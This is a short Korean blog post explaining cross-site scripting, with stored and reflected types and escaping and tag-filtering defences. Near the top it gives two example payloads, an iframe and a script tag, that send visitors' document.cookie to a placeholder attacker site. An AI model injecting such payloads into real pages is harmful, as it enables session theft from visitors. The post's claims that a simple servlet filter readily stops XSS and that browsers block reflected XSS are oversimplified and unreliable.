본문 바로가기

보안/Web

Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) 란?

 

사이트에 악성스크립트를 삽입 해 해당 페이지를 읽는 사용자에게 악성스크립트를 실행하게함

 

Ex) 공격자는 세션정보를 획득하기 위해 방문자의 쿠키정보를 공격자의 서버에 전송하는 코드를 게시판에 올린다.

 

<iframe src=http://공격자사이트.com/attack.jsp?cookie=+document.cookie/>


<script> document.location=http://http://공격자사이트.com/attack.jsp?

cookie=+document.cookie</script>

 


 

1. stored XSS

 

만약 문자열을  다음과 같이 치환해준다면?

 

 & --> &amp;
 < --> &lt;
 > --> &gt;
 " --> &quot;
 ' --> &#x27;
 / --> &#x2F;

 

또한 <script>, <object>, <applet> <embed> 와 같은 정의어를 필터링한다면?

 

거기다 onclick, onload, onmouseover이벤트핸들러까지 막는다면? 

 

공격하기가 매우 어려워진다.

 

이는 간단하게 Servlet Filter를 넣으면 개발자는 손쉽게 XSS를 막을 수 있다.

 

 

2. Reflected XSS

 

URL에 자바스크립트를 넣는 방법인데 이는 요즘 브라우저가 거의 다 막아준다.

 

 

 

 

 

 

 

'보안 > Web' 카테고리의 다른 글

Client Server 프로그램 주요 취약점  (0) 2017.02.09
Burp 사용법  (0) 2017.02.09
sqlmap  (0) 2017.02.08